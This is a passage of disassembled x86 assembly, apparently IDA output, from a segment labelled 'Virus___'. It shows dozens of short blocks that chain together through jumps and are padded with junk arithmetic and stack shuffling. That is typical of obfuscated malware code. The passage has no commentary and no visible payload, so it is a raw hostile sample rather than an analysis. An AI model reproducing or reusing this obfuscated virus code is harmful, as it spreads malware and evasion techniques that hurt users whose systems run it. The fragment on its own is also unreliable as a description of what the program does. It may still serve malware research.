		sub	eax, ebx
		pop	ebx
		add	eax, ecx
		push	esi
		mov	esi, 58065C52h
		not	esi
		sub	esi, 61654208h
		add	esi, 69DB36E1h
		jmp	loc_58D2DC
; ---------------------------------------------------------------------------


loc_58A67B:				; CODE XREF: Virus___:0057FAA4j
		mov	ecx, [esp]
		push	222Bh
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	edx
		push	7D66h
		mov	[esp], esi
		push	edi
		mov	edi, 42820619h
		jmp	loc_58B6BE
; ---------------------------------------------------------------------------


loc_58A6A5:				; CODE XREF: Virus___:0059415Aj
		push	24C8h
		push	1837h
		push	esp
		jmp	loc_58B234
; ---------------------------------------------------------------------------


loc_58A6B5:				; CODE XREF: Virus___:0058A643j
		push	esp
		jmp	loc_582951
; ---------------------------------------------------------------------------


loc_58A6BB:				; CODE XREF: Virus___:005932B1j
		mov	ebp, 45FA5D01h
		add	[esp+8], ebp
		pop	ebp
		sub	[esp+4], ebx
		jmp	loc_58182D
; ---------------------------------------------------------------------------


loc_58A6CE:				; CODE XREF: Virus___:00581348j
		mov	ebx, [esp]
		jmp	loc_57FE80
; ---------------------------------------------------------------------------


loc_58A6D6:				; CODE XREF: Virus___:00582608j
		add	al, 0F4h
		sub	al, dh
		sub	al, 0F4h
		jmp	loc_58958A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_58B47C
; ---------------------------------------------------------------------------


loc_58A6F3:				; CODE XREF: Virus___:00589FC9j
		pop	esi
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 48707B96h
		push	ebx
		mov	ebx, 26A25A70h
		add	eax, ebx
		pop	ebx
		sub	eax, ebx
		jmp	loc_588F48
; ---------------------------------------------------------------------------


loc_58A715:				; CODE XREF: Virus___:00580A60j
		xor	[esp], ecx
		jmp	loc_593E13
; ---------------------------------------------------------------------------


loc_58A71D:				; CODE XREF: Virus___:0058623Bj
		and	edx, 7DA8661Bh
		xor	edx, 240Dh
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_582140
; ---------------------------------------------------------------------------


loc_58A734:				; CODE XREF: Virus___:00594184j
		push	eax
		push	32710189h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58D01D
; ---------------------------------------------------------------------------


loc_58A745:				; CODE XREF: Virus___:00589F14j
		pop	edi
		push	ecx
		jmp	loc_591764
; ---------------------------------------------------------------------------


loc_58A74C:				; CODE XREF: Virus___:0058413Aj
		mov	ebp, [esp]
		jmp	loc_586EC5
; ---------------------------------------------------------------------------


loc_58A754:				; CODE XREF: Virus___:00584877j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5940CA
; ---------------------------------------------------------------------------


loc_58A75F:				; CODE XREF: Virus___:0058F02Cj
		add	ebp, 1EFB7029h
		jmp	loc_58DCB9
; ---------------------------------------------------------------------------


loc_58A76A:				; CODE XREF: Virus___:00589F0Cj
		pop	cx
		sub	bl, 51h
		add	bl, al
		add	bl, 51h
		sub	bl, 83h
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4DDB440Dh
		dec	edi
		add	edi, 0B224BBF8h
		jmp	loc_59273B
; ---------------------------------------------------------------------------


loc_58A78C:				; CODE XREF: Virus___:0058752Fj
		mov	ecx, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_588B29
; ---------------------------------------------------------------------------


loc_58A7A2:				; CODE XREF: Virus___:0058DEDFj
		mov	eax, 18A30F7Fh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7A882482h
		or	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 7
		jmp	loc_590E9C
; ---------------------------------------------------------------------------


loc_58A7C2:				; CODE XREF: Virus___:005853B7j
		mov	edx, 19D332B9h
		mov	esi, edx
		pop	edx
		jmp	loc_5942D4
; ---------------------------------------------------------------------------


loc_58A7CF:				; CODE XREF: Virus___:005819AEj
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_58DC89
; ---------------------------------------------------------------------------


loc_58A7DF:				; CODE XREF: Virus___:00584E42j
		pop	esp
		mov	[esp], bx
		push	eax
		mov	ah, ch
		mov	bh, ah
		pop	eax
		mov	ch, [esp+2]
		mov	[esp+2], bh
		mov	bx, [esp]
		add	esp, 2
		pop	ecx
		xor	[esp], cl
		jmp	loc_5943DE
; ---------------------------------------------------------------------------


loc_58A802:				; CODE XREF: Virus___:0058B823j
		add	ebx, 78E10CCFh
		jmp	loc_582C15
; ---------------------------------------------------------------------------


loc_58A80D:				; CODE XREF: Virus___:00585A8Fj
		add	bl, 80h
		or	bl, 0F9h
		shl	bl, 7
		add	bl, 44h
		sub	al, bl
		pop	ebx
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		push	0EE7h
		mov	[esp], eax
		mov	ah, 51h
		inc	ah
		push	cx
		push	ebx
		mov	bl, 44h
		jmp	loc_58A30B
; ---------------------------------------------------------------------------


loc_58A839:				; CODE XREF: Virus___:0058CF46j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_586E70
; ---------------------------------------------------------------------------


loc_58A84F:				; CODE XREF: Virus___:0057FA94j
		push	ecx
		jmp	loc_5839A7
; ---------------------------------------------------------------------------


loc_58A855:				; CODE XREF: Virus___:0059382Dj
		sub	al, 38h
		sub	al, bl
		push	ecx
		jmp	loc_5825E4
; ---------------------------------------------------------------------------


loc_58A85F:				; CODE XREF: Virus___:0058EEDDj
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		dec	ecx
		jmp	loc_5900AB
; ---------------------------------------------------------------------------


loc_58A871:				; CODE XREF: Virus___:0058E281j
		pop	eax
		add	al, dh
		pop	edx
		add	al, bl
		sub	al, 4Ah
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_586BB6
; ---------------------------------------------------------------------------


loc_58A882:				; CODE XREF: Virus___:00587AAAj
		push	edx
		jmp	loc_59334D
; ---------------------------------------------------------------------------


loc_58A888:				; CODE XREF: Virus___:00588CCDj
		push	5DBEh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_581364
; ---------------------------------------------------------------------------


loc_58A898:				; CODE XREF: Virus___:00584741j
		pop	esp
		xor	ebx, 7B836B2h
		sub	ebx, 0E71C3208h
		mov	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_589999
; ---------------------------------------------------------------------------


loc_58A8AF:				; CODE XREF: Virus___:00593F3Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_590722
; ---------------------------------------------------------------------------


loc_58A8C2:				; CODE XREF: Virus___:0058F033j
		pop	ecx
		xor	eax, ebx
		pop	ebx
		jmp	loc_58D9DC
; ---------------------------------------------------------------------------


loc_58A8CB:				; CODE XREF: Virus___:005927F6j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_586F80
; ---------------------------------------------------------------------------


loc_58A8DB:				; CODE XREF: Virus___:00582FBFj
		xchg	ebx, [esp]
		jmp	loc_584D5F
; ---------------------------------------------------------------------------


loc_58A8E3:				; CODE XREF: Virus___:005812C9j
		pop	edi
		jmp	loc_57FCC5
; ---------------------------------------------------------------------------


loc_58A8E9:				; CODE XREF: Virus___:005851F8j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5943FD
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58A8FB:				; CODE XREF: Virus___:0058CE99j
		push	edi
		mov	edi, 204478A9h
		jmp	loc_57F6E9
; ---------------------------------------------------------------------------


loc_58A906:				; CODE XREF: Virus___:00588260j
		mov	ecx, 24h
		add	ecx, edi
		mov	[ecx], esi
		pop	ecx
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4D9D3B66h
		add	ebx, 55220AA3h
		push	ebp
		mov	ebp, 81970E1h
		sub	ebx, ebp
		jmp	loc_591B74
; ---------------------------------------------------------------------------


loc_58A935:				; CODE XREF: Virus___:005852DFj
		mov	[esp], edi
		mov	edi, ebp
		push	edi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		sub	eax, 13D0A6Fh
		add	eax, esi
		add	eax, 13D0A6Fh
		pop	esi
		push	edi
		push	esi
		mov	esi, 281B43F4h
		neg	esi
		and	esi, 9474F8Fh
		add	esi, 6EFF1115h
		sub	esi, 70431D1Dh
		mov	edi, esi
		pop	esi
		jmp	loc_5805DC
; ---------------------------------------------------------------------------


loc_58A989:				; CODE XREF: Virus___:0058D36Fj
		mov	dl, 60h
		dec	dl
		sub	dl, 19h
		push	ecx
		mov	ch, 48h
		shl	ch, 1
		jmp	loc_588723
; ---------------------------------------------------------------------------


loc_58A99A:				; CODE XREF: Virus___:005804C9j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		sub	edx, 2D65231Eh
		add	edx, eax
		push	edi
		jmp	loc_581CC3
; ---------------------------------------------------------------------------


loc_58A9B4:				; CODE XREF: Virus___:00589F9Fj
		pop	ebp
		push	2AD4h
		mov	[esp], edx
		push	edi
		push	7CCB4B89h
		jmp	loc_58ACF4
; ---------------------------------------------------------------------------


loc_58A9C8:				; CODE XREF: Virus___:00586B29j
		add	esp, 4
		sub	ecx, 47DC56D0h
		add	ecx, edi
		jmp	loc_58D2A4
; ---------------------------------------------------------------------------


loc_58A9D8:				; CODE XREF: Virus___:0058DFDCj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5862DE
; ---------------------------------------------------------------------------


loc_58A9E6:				; CODE XREF: Virus___:005871CDj
		pop	eax
		jmp	loc_589AE8
; ---------------------------------------------------------------------------


loc_58A9EC:				; CODE XREF: Virus___:0058BECCj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 62DA2B38h
		sub	ebx, 2C064FE1h
		sub	ebx, 36D3DB53h
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 15F33946h
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_587D2A
; ---------------------------------------------------------------------------


loc_58AA35:				; CODE XREF: Virus___:00591ADDj
		xor	dl, 0E6h
		push	4114h
		mov	[esp], ecx
		push	eax
		mov	al, 61h
		jmp	loc_58C96F
; ---------------------------------------------------------------------------


loc_58AA48:				; CODE XREF: Virus___:00584845j
		mov	edi, [esp]
		push	eax
		jmp	loc_58F07F
; ---------------------------------------------------------------------------


loc_58AA51:				; CODE XREF: Virus___:005810DDj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58AA56:				; CODE XREF: Virus___:005893D8j
		push	edx
		jmp	loc_58B9E6
; ---------------------------------------------------------------------------


loc_58AA5C:				; CODE XREF: Virus___:00586C6Aj
		mov	ebx, 63100E95h
		jmp	loc_585664
; ---------------------------------------------------------------------------


loc_58AA66:				; CODE XREF: Virus___:00583013j
		push	ebp
		mov	ebp, 4B2F4B61h
		jmp	loc_591A1C
; ---------------------------------------------------------------------------


loc_58AA71:				; CODE XREF: Virus___:005868BCj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_592B8D
; ---------------------------------------------------------------------------


loc_58AA7B:				; CODE XREF: Virus___:0058FC40j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	475Ch
		mov	[esp], ebx
		jmp	loc_59278A
; ---------------------------------------------------------------------------


loc_58AAA8:				; CODE XREF: Virus___:0058BFB4j
		push	6495h
		jmp	loc_58916B
; ---------------------------------------------------------------------------


loc_58AAB2:				; CODE XREF: Virus___:00585072j
		add	ebx, 8165E7Eh
		add	ebx, 7DD619D4h
		add	eax, ebx
		pop	ebx
		dec	eax
		shl	eax, 5
		and	eax, 36B87E1Bh
		and	eax, 47823073h
		sub	eax, 21FD0F04h
		xor	ebp, eax
		pop	eax
		add	edi, 4C6E3863h
		sub	edi, 74BA59FCh
		sub	edi, ebp
		add	edi, 74BA59FCh
		jmp	loc_58C984
; ---------------------------------------------------------------------------


loc_58AAF0:				; CODE XREF: Virus___:00589729j
		mov	ecx, 37C264CEh
		add	ebp, ecx
		pop	ecx
		pop	eax
		jmp	loc_58CB25
; ---------------------------------------------------------------------------


loc_58AAFE:				; CODE XREF: Virus___:00582035j
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_58EC65
; ---------------------------------------------------------------------------


loc_58AB0A:				; CODE XREF: Virus___:005844F2j
		xor	ebx, edi
		pop	edi
		push	ebx
		mov	edx, [esp]
		jmp	loc_581A7F
; ---------------------------------------------------------------------------


loc_58AB16:				; CODE XREF: Virus___:00589052j
		sub	edx, 4F3E3E0Eh
		sub	edx, 57023F39h
		add	edx, eax
		jmp	loc_5820BF
; ---------------------------------------------------------------------------


loc_58AB29:				; CODE XREF: Virus___:00583CE7j
		xor	esi, [esp]
		mov	esp, [esp]
		push	2844h
		mov	[esp], eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58AB3C:				; CODE XREF: Virus___:0058F925j
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_586B73
; ---------------------------------------------------------------------------


loc_58AB5A:				; CODE XREF: Virus___:0058225Cj
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58B094
; ---------------------------------------------------------------------------


loc_58AB74:				; CODE XREF: Virus___:0057FA0Bj
		mov	[esp], eax
		jmp	loc_5906F9
; ---------------------------------------------------------------------------


loc_58AB7C:				; CODE XREF: Virus___:00591806j
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58D5EF
; ---------------------------------------------------------------------------


loc_58AB90:				; CODE XREF: Virus___:00583FBFj
		pop	ebx
		xchg	eax, ebx
		shr	eax, 3
		neg	eax
		push	ebx
		jmp	loc_583274
; ---------------------------------------------------------------------------


loc_58AB9D:				; CODE XREF: Virus___:0058B8D5j
		push	4B7A21ACh
		pop	eax
		sub	eax, 0FFA00B0Bh
		jmp	loc_58C8B3
; ---------------------------------------------------------------------------


loc_58ABAD:				; CODE XREF: Virus___:00582026j
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, 2F866F91h
		mov	edi, ecx
		jmp	loc_583A9D
; ---------------------------------------------------------------------------


loc_58ABBE:				; CODE XREF: Virus___:00592966j
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_580C2B
; ---------------------------------------------------------------------------


loc_58ABD9:				; CODE XREF: Virus___:0058ACFEj
		xchg	edx, ebx
		dec	edx
		jmp	loc_5857BD
; ---------------------------------------------------------------------------


loc_58ABE1:				; CODE XREF: Virus___:005822FBj
		mov	ebp, 613373EDh
		push	ebp
		push	ebx
		mov	ebx, 25517369h
		jmp	loc_58D817
; ---------------------------------------------------------------------------


loc_58ABF2:				; CODE XREF: Virus___:0058977Fj
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58AC00:				; CODE XREF: Virus___:0058D4C8j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edi
		jmp	loc_581332
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58AC24:				; CODE XREF: Virus___:0058A098j
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_58E405
; ---------------------------------------------------------------------------


loc_58AC41:				; CODE XREF: Virus___:005910D5j
		push	4E56h
		mov	[esp], eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58AC4E:				; CODE XREF: Virus___:0057F9FFj
		push	edi
		mov	edi, esp
		push	ecx
		push	ebx
		jmp	loc_5916B2
; ---------------------------------------------------------------------------


loc_58AC58:				; CODE XREF: Virus___:00586D6Fj
		sub	ebx, ecx
		sub	ebx, 0D3107C8h
		pop	ecx
		add	ebx, edi
		push	edx
		mov	edx, 0E7673E8h
		or	edx, 4A483BE7h
		add	edx, 1
		jmp	loc_58BE27
; ---------------------------------------------------------------------------


loc_58AC77:				; CODE XREF: Virus___:00587775j
		inc	esi
		jmp	loc_587D40
; ---------------------------------------------------------------------------


loc_58AC7D:				; CODE XREF: Virus___:00581F0Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58A1BE
; ---------------------------------------------------------------------------


loc_58AC88:				; CODE XREF: Virus___:0058BEB3j
		mov	[esp], ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_58ED17
; ---------------------------------------------------------------------------


loc_58AC9D:				; CODE XREF: Virus___:00580EC3j
		xor	eax, 0D01CD216h
		push	264Ch
		jmp	loc_5878C5
; ---------------------------------------------------------------------------


loc_58ACAC:				; CODE XREF: Virus___:0058133Ej
		shr	ebp, 5
		xor	ebp, 172026C8h
		jmp	loc_589B47
; ---------------------------------------------------------------------------


loc_58ACBA:				; CODE XREF: Virus___:0058002Dj
		xor	eax, 60B6EE87h
		jmp	loc_592183
; ---------------------------------------------------------------------------


loc_58ACC4:				; CODE XREF: Virus___:0059262Bj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58619A
; ---------------------------------------------------------------------------


loc_58ACD8:				; CODE XREF: Virus___:0058C860j
		add	[esp+4], ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebx
		mov	ebx, 3791779Eh
		jmp	loc_583125
; ---------------------------------------------------------------------------


loc_58ACF4:				; CODE XREF: Virus___:0058A9C3j
		pop	edi
		not	edi
		jmp	loc_591C22
; ---------------------------------------------------------------------------


loc_58ACFC:				; CODE XREF: Virus___:0058C8EEj
		not	ebx
		jmp	loc_58ABD9
; ---------------------------------------------------------------------------


loc_58AD03:				; CODE XREF: Virus___:005871ADj
		mov	ebp, 433339A0h
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 2
		push	esi
		push	6ADC4924h
		pop	esi
		or	ebp, esi
		pop	esi
		xor	ebp, 7ADCCF68h
		add	ecx, 5BF974E3h
		add	ecx, ebp
		sub	ecx, 5BF974E3h
		jmp	loc_586180
; ---------------------------------------------------------------------------


loc_58AD34:				; CODE XREF: Virus___:00583B3Cj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_591CC5
; ---------------------------------------------------------------------------


loc_58AD49:				; CODE XREF: Virus___:00580C35j
		mov	ecx, 46B116DEh
		jmp	loc_58EB3D
; ---------------------------------------------------------------------------


loc_58AD53:				; CODE XREF: Virus___:0058A0A1j
		mov	esp, [esp]
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_588231
; ---------------------------------------------------------------------------


loc_58AD61:				; CODE XREF: Virus___:00583FF8j
		xor	eax, ecx
		jmp	loc_58D820
; ---------------------------------------------------------------------------


loc_58AD68:				; CODE XREF: Virus___:0059095Ej
		pop	edx
		push	edi
		mov	edi, 6AFA6929h
		add	edi, 6AF52F7h
		and	edi, 30576ED6h
		add	edi, 0D451EAECh
		add	edx, edi
		pop	edi
		jmp	loc_580F76
; ---------------------------------------------------------------------------


loc_58AD89:				; CODE XREF: Virus___:0058711Bj
		push	dword ptr [esp]
		jmp	loc_580237
; ---------------------------------------------------------------------------


loc_58AD91:				; CODE XREF: Virus___:00591849j
		push	ecx
		push	eax
		push	ecx
		push	ebx
		mov	ebx, 21F13EC7h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_58343F
; ---------------------------------------------------------------------------


loc_58ADA2:				; CODE XREF: Virus___:00591D56j
		mov	[esp], ebp
		jmp	loc_5825DA
; ---------------------------------------------------------------------------


loc_58ADAA:				; CODE XREF: Virus___:00584B97j
		push	704Dh
		mov	[esp], edx
		push	esi
		mov	esi, 14DB3FD8h
		sub	esi, 4B3F40A0h
		neg	esi
		xor	esi, 5A462138h
		add	esi, 0EB7AFE33h
		mov	edx, esi
		jmp	loc_58D726
; ---------------------------------------------------------------------------


loc_58ADD3:				; CODE XREF: Virus___:0058867Aj
		or	edx, 11D23B98h
		jmp	loc_58BD4B
; ---------------------------------------------------------------------------


loc_58ADDE:				; CODE XREF: Virus___:0058EA9Bj
		push	ecx
		push	esp
		jmp	loc_57FC71
; ---------------------------------------------------------------------------


loc_58ADE5:				; CODE XREF: Virus___:0058A367j
		sub	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58ADEE:				; CODE XREF: Virus___:00587ADDj
		not	dl
		inc	dl
		and	dl, 6Fh
		push	0E84h
		mov	[esp], eax
		push	2812h
		mov	[esp], edx
		push	ecx
		mov	cl, 0A2h
		jmp	loc_580177
; ---------------------------------------------------------------------------


loc_58AE0D:				; CODE XREF: Virus___:0059285Ej
		pop	esp
		jmp	loc_5814D4
; ---------------------------------------------------------------------------


loc_58AE13:				; CODE XREF: Virus___:00584B4Ej
		mov	bh, ch
		jmp	loc_58D61E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58D8C7
; ---------------------------------------------------------------------------


loc_58AE29:				; CODE XREF: Virus___:0058DC17j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		mov	ch, 0F6h
		xor	bh, ch
		pop	cx
		xor	bh, 5Eh
		add	cl, bh
		pop	ebx
		xor	al, cl
		jmp	loc_589ECB
; ---------------------------------------------------------------------------


loc_58AE51:				; CODE XREF: Virus___:005826BEj
		add	ebx, ebp
		jmp	loc_58E372
; ---------------------------------------------------------------------------


loc_58AE58:				; CODE XREF: Virus___:00591520j
		push	61D2h
		mov	[esp], edx
		push	eax
		push	285F68EBh
		jmp	loc_5880F7
; ---------------------------------------------------------------------------


loc_58AE6B:				; CODE XREF: Virus___:005832BFj
		push	eax
		mov	al, 0AAh
		shl	al, 6
		inc	al
		dec	al
		not	al
		xor	al, 97h
		sub	cl, al
		jmp	loc_58371F
; ---------------------------------------------------------------------------


loc_58AE80:				; CODE XREF: Virus___:00582C10j
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_582F8B
; ---------------------------------------------------------------------------


loc_58AE8D:				; CODE XREF: Virus___:0058D54Ej
		push	ebp
		mov	ebp, 4
		jmp	loc_57FB52
; ---------------------------------------------------------------------------


loc_58AE98:				; CODE XREF: Virus___:005811FFj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 0E8h
		push	cx
		mov	ch, 33h
		add	dl, ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_586B46
; ---------------------------------------------------------------------------


loc_58AEB8:				; CODE XREF: Virus___:00580E22j
		pop	esi
		jmp	loc_5905BC
; ---------------------------------------------------------------------------


loc_58AEBE:				; CODE XREF: Virus___:005860A4j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_58A13F
; ---------------------------------------------------------------------------


loc_58AECD:				; CODE XREF: Virus___:00585FC0j
		pop	ebp
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_586373
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_592D72
; ---------------------------------------------------------------------------


loc_58AEE9:				; CODE XREF: Virus___:005830BCj
		add	esi, 4
		push	eax
		jmp	loc_58BCA9
; ---------------------------------------------------------------------------


loc_58AEF5:				; CODE XREF: Virus___:00586233j
		push	esi
		mov	esi, 66A95C2Ah
		add	ecx, 738B5329h
		add	ecx, esi
		jmp	loc_591A41
; ---------------------------------------------------------------------------


loc_58AF08:				; CODE XREF: Virus___:0059094Bj
		or	ch, 28h
		add	ch, 17h
		shl	ch, 4
		sub	ch, 2Ah
		push	bx
		mov	bh, 5Dh
		jmp	loc_58419D
; ---------------------------------------------------------------------------


loc_58AF1D:				; CODE XREF: Virus___:0058A3E8j
		mov	eax, 1052112Dh
		jmp	loc_592508
; ---------------------------------------------------------------------------


loc_58AF27:				; CODE XREF: Virus___:0057F447j
		or	dh, 74h
		and	dh, 0CFh
		push	ecx
		mov	cl, 0E9h
		add	dh, cl
		pop	ecx
		push	ecx
		push	ebx
		mov	bh, dh
		jmp	loc_583DD1
; ---------------------------------------------------------------------------


loc_58AF3C:				; CODE XREF: Virus___:0058D5FEj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebx, 52C57061h
		add	ebx, esi
		add	ebx, 52C57061h
		mov	esi, [esp]
		jmp	loc_58B5B6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58BC95
; ---------------------------------------------------------------------------


loc_58AF6B:				; CODE XREF: Virus___:00582588j
		add	eax, edi
		jmp	loc_58088F
; ---------------------------------------------------------------------------


loc_58AF72:				; CODE XREF: Virus___:0058BA96j
		mov	eax, 16741BDBh
		push	eax
		pop	edi
		pop	eax
		mov	eax, 16741BDBh
		xor	eax, edi
		pop	edi
		push	ebp
		push	edi
		mov	edi, eax
		mov	ebp, edi
		pop	edi
		jmp	loc_58DEC6
; ---------------------------------------------------------------------------


loc_58AF8E:				; CODE XREF: Virus___:00587BA4j
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_587039
; ---------------------------------------------------------------------------


loc_58AFA3:				; CODE XREF: Virus___:0058B7C5j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59435F
; ---------------------------------------------------------------------------


loc_58AFB6:				; CODE XREF: Virus___:00590C63j
		mov	esi, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_590B26
; ---------------------------------------------------------------------------


loc_58AFCC:				; CODE XREF: Virus___:0058848Fj
		shl	eax, 1
		or	eax, 455E493Dh
		sub	eax, 577EEB7Bh
		sub	edx, 25B802CAh
		add	edx, eax
		add	edx, 25B802CAh
		pop	eax
		jmp	loc_59225F
; ---------------------------------------------------------------------------


loc_58AFEC:				; CODE XREF: Virus___:00583142j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58FC37
; ---------------------------------------------------------------------------


loc_58B005:				; CODE XREF: Virus___:0058D222j
		push	ecx
		mov	ecx, 5BBD58C1h
		shl	ecx, 8
		dec	ecx
		inc	ecx
		xor	ecx, 0BD58C104h
		add	edx, ecx
		pop	ecx
		jmp	loc_592956
; ---------------------------------------------------------------------------


loc_58B01E:				; CODE XREF: Virus___:0058DA63j
		push	ebp
		jmp	loc_584E20
; ---------------------------------------------------------------------------


loc_58B024:				; CODE XREF: Virus___:0058EF6Aj
		add	edi, 4
		jmp	loc_57FA10
; ---------------------------------------------------------------------------


loc_58B02F:				; CODE XREF: Virus___:0058DDF3j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_58CD81
; ---------------------------------------------------------------------------


loc_58B03D:				; CODE XREF: Virus___:00581BB4j
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_58915B
; ---------------------------------------------------------------------------


loc_58B04A:				; CODE XREF: Virus___:005868AEj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_587CEC
; ---------------------------------------------------------------------------


loc_58B057:				; CODE XREF: Virus___:0058C7F9j
		push	ebx
		mov	bl, 6Ch
		add	ch, bl
		pop	ebx
		sub	bl, ch
		pop	ecx
		jmp	loc_58D2FF
; ---------------------------------------------------------------------------


loc_58B065:				; CODE XREF: Virus___:00591AEFj
		push	esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		jmp	loc_590E4D
; ---------------------------------------------------------------------------


loc_58B073:				; CODE XREF: Virus___:0058DB85j
		add	edx, 4
		add	edx, 4
		jmp	loc_5831DB
; ---------------------------------------------------------------------------


loc_58B081:				; CODE XREF: Virus___:0058DD1Fj
		or	si, 516Ch
		jmp	loc_593C9A
; ---------------------------------------------------------------------------


loc_58B08B:				; CODE XREF: Virus___:00590D47j
		mov	esp, [esp]
		push	edx
		jmp	loc_5887A2
; ---------------------------------------------------------------------------


loc_58B094:				; CODE XREF: Virus___:0058AB6Fj
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_592930
; ---------------------------------------------------------------------------


loc_58B0A3:				; CODE XREF: Virus___:005884C0j
		mov	al, 0DEh
		sub	bh, al
		pop	ax
